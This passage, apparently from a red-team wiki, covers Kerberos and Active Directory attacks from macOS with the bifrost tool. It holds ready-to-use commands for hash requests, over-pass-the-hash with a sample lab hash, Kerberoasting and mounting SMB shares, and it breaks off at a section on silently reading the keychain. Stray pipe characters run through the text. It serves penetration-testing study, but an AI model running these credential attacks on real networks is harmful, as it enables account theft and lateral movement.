### Computer$ password
|
||||
|
||||
Get passwords using:
|
||||
|
||||
```bash
|
||||
bifrost --action askhash --username [name] --password [password] --domain [domain]
|
||||
```
|
||||
|
||||
It's possible to access the **`Computer$`** password inside the System keychain.
|
||||
|
||||
### Over-Pass-The-Hash
|
||||
|
||||
Get a TGT for an specific user and service:
|
||||
|
||||
```bash
|
||||
bifrost --action asktgt --username [user] --domain [domain.com] \
|
||||
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
|
||||
```
|
||||
|
||||
Once the TGT is gathered, it's possible to inject it in the current session with:
|
||||
|
||||
```bash
|
||||
bifrost --action asktgt --username test_lab_admin \
|
||||
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
|
||||
--enctype aes256 --domain test.lab.local
|
||||
```
|
||||
|
||||
### Kerberoasting
|
||||
|
||||
```bash
|
||||
bifrost --action asktgs --spn [service] --domain [domain.com] \
|
||||
--username [user] --hash [hash] --enctype [enctype]
|
||||
```
|
||||
|
||||
With obtained service tickets it's possible to try to access shares in other computers:
|
||||
|
||||
```bash
|
||||
smbutil view //computer.fqdn
|
||||
mount -t smbfs //server/folder /local/mount/point
|
||||
```

## Accessing the Keychain
|
||||
|
||||
The Keychain highly probably contains sensitive information that if accessed withuot generating a prompt could help to move forward a red team exercise:
